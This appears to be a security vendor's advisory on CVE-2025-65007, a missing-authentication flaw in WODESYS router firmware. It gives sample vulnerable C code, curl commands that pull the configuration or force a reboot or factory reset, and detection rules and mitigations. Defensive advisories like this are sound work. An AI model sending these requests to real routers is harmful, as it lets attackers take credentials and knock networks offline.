CVE-2025-65007
Executive Summary
CVE-2025-65007 is a critical authentication bypass vulnerability in the WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28). The adm.cgi endpoint lacks authentication, allowing an unauthenticated attacker to execute commands such as backup creation, device restart, and factory reset. The vendor was notified but did not respond, and only version WDR28081123OV1.01 has been confirmed vulnerable. No patch is available, and the vulnerability is publicly known.
This is a hardware/embedded device vulnerability, not related to any package ecosystem (NPM, PyPI, Go, Ruby). The impact is severe: an attacker can fully compromise the router, disrupt network operations, and potentially pivot to internal networks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability affects only the router.
- Confidentiality Impact: High (C:H) – attacker can read backups.
- Integrity Impact: High (I:H) – attacker can modify configuration.
- Availability Impact: High (A:H) – attacker can reset/restart device.
Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full device takeover.
Deep Dive & Mechanics
The vulnerability resides in the adm.cgi endpoint of the WODESYS WD-R608U router. This endpoint is intended for administrative configuration changes but lacks any authentication mechanism. The router’s web server processes requests to adm.cgi without verifying the user’s identity.
Root Cause: The CGI script adm.cgi does not check for session tokens, cookies, or any form of authentication before executing commands. This is a classic case of missing authentication (CWE-306).
Attack Flow:
- An attacker sends a crafted HTTP request to
http://<router-ip>/adm.cgi?action=backupto download the device configuration. - Alternatively,
action=restartoraction=resetcan be used to disrupt availability. - The router executes the command without any authentication check.
Technical Details:
- The
adm.cgiendpoint likely parses theactionparameter and maps it to a system command (e.g.,system("reboot")). - No input validation or authentication middleware is present.
- The vulnerability is exposed on the default HTTP port (80) and possibly HTTPS (443).
Vulnerable vs. Patched Code
Since no patch exists, we can only describe the vulnerable code pattern.
Vulnerable Code (pseudo-CGI):
// adm.cgi - VULNERABLE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *query = getenv("QUERY_STRING");
char action[64];
// No authentication check
if (sscanf(query, "action=%63s", action) == 1) {
if (strcmp(action, "backup") == 0) {
system("cat /etc/config > /tmp/backup.cfg");
// Serve backup file
} else if (strcmp(action, "restart") == 0) {
system("reboot");
} else if (strcmp(action, "reset") == 0) {
system("mtd -r erase rootfs_data");
}
}
return 0;
}
Patched Code (hypothetical):
// adm.cgi - PATCHED
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *query = getenv("QUERY_STRING");
char action[64];
char *auth = getenv("HTTP_AUTHORIZATION");
// Authentication check
if (auth == NULL || strcmp(auth, "Bearer <valid_token>") != 0) {
printf("Status: 401 Unauthorized\n");
return 1;
}
if (sscanf(query, "action=%63s", action) == 1) {
if (strcmp(action, "backup") == 0) {
system("cat /etc/config > /tmp/backup.cfg");
} else if (strcmp(action, "restart") == 0) {
system("reboot");
} else if (strcmp(action, "reset") == 0) {
system("mtd -r erase rootfs_data");
}
}
return 0;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target router with IP
192.168.1.1(default). - Attacker machine with
curlorwget.
Exploit Steps:
Backup Configuration:
curl "http://192.168.1.1/adm.cgi?action=backup" -o backup.cfgThis downloads the router configuration, which may contain passwords, SSIDs, and VPN keys.
Restart Device:
curl "http://192.168.1.1/adm.cgi?action=restart"Causes immediate reboot, disrupting network services.
Factory Reset:
curl "http://192.168.1.1/adm.cgi?action=reset"Resets the device to factory defaults, wiping all custom settings.
Advanced Exploitation:
- Combine with other vulnerabilities (e.g., command injection) to gain a shell.
- Use the backup file to extract credentials and pivot to internal networks.
Blue Team
Detection:
- Monitor HTTP requests to
/adm.cgiwith unusualactionparameters. - Alert on multiple requests from the same IP within a short time.
- Look for
action=backup,action=restart, oraction=resetin logs.
Hunting:
- Search for
adm.cgiin web server logs. - Check for sudden device reboots or factory resets.
Mitigation:
- Block external access to the router’s web interface.
- Use a firewall to restrict access to
adm.cgito trusted IPs only. - Apply vendor patch if/when available.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/adm.cgiwithaction=backup,action=restart, oraction=reset. - Source IPs scanning for WODESYS routers (e.g., Shodan dorks).
- HTTP requests to
- File IOCs:
- Backup files named
backup.cfgor similar on attacker systems.
- Backup files named
- Behavioral IOCs:
- Unexpected router reboots.
- Router reset to factory defaults without user action.
- Log IOCs:
- Web server logs showing
GET /adm.cgi?action=...from unknown IPs.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_65007_Backup_Request {
meta:
description = "Detects HTTP requests exploiting CVE-2025-65007 for backup"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65007"
strings:
$action_backup = "action=backup"
$adm_cgi = "/adm.cgi"
condition:
$adm_cgi and $action_backup
}
Sigma Rule
title: CVE-2025-65007 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-65007 on WODESYS routers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/adm.cgi?action="
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-65007 - WODESYS Router adm.cgi Exploit";
flow:to_server,established;
content:"/adm.cgi"; http_uri;
content:"action="; http_uri;
pcre:"/action=(backup|restart|reset)/i";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the Router: Place the router behind a firewall that blocks external access to the web interface.
- Disable Remote Management: If possible, disable remote administration via the router’s settings.
- Monitor Logs: Enable logging and monitor for suspicious requests to
/adm.cgi.
Long-Term Fix:
- Vendor Patch: No patch available. Contact WODESYS and demand a firmware update.
- Replace Device: Consider replacing the router with a secure alternative.
- Network Segmentation: Place the router in a DMZ and restrict access to internal networks.
Workaround:
- Use a reverse proxy with authentication (e.g., nginx with basic auth) in front of the router’s web interface.
- Block
/adm.cgiat the network perimeter using a WAF or firewall rule.
Valters IT
Securing Digital Frontiers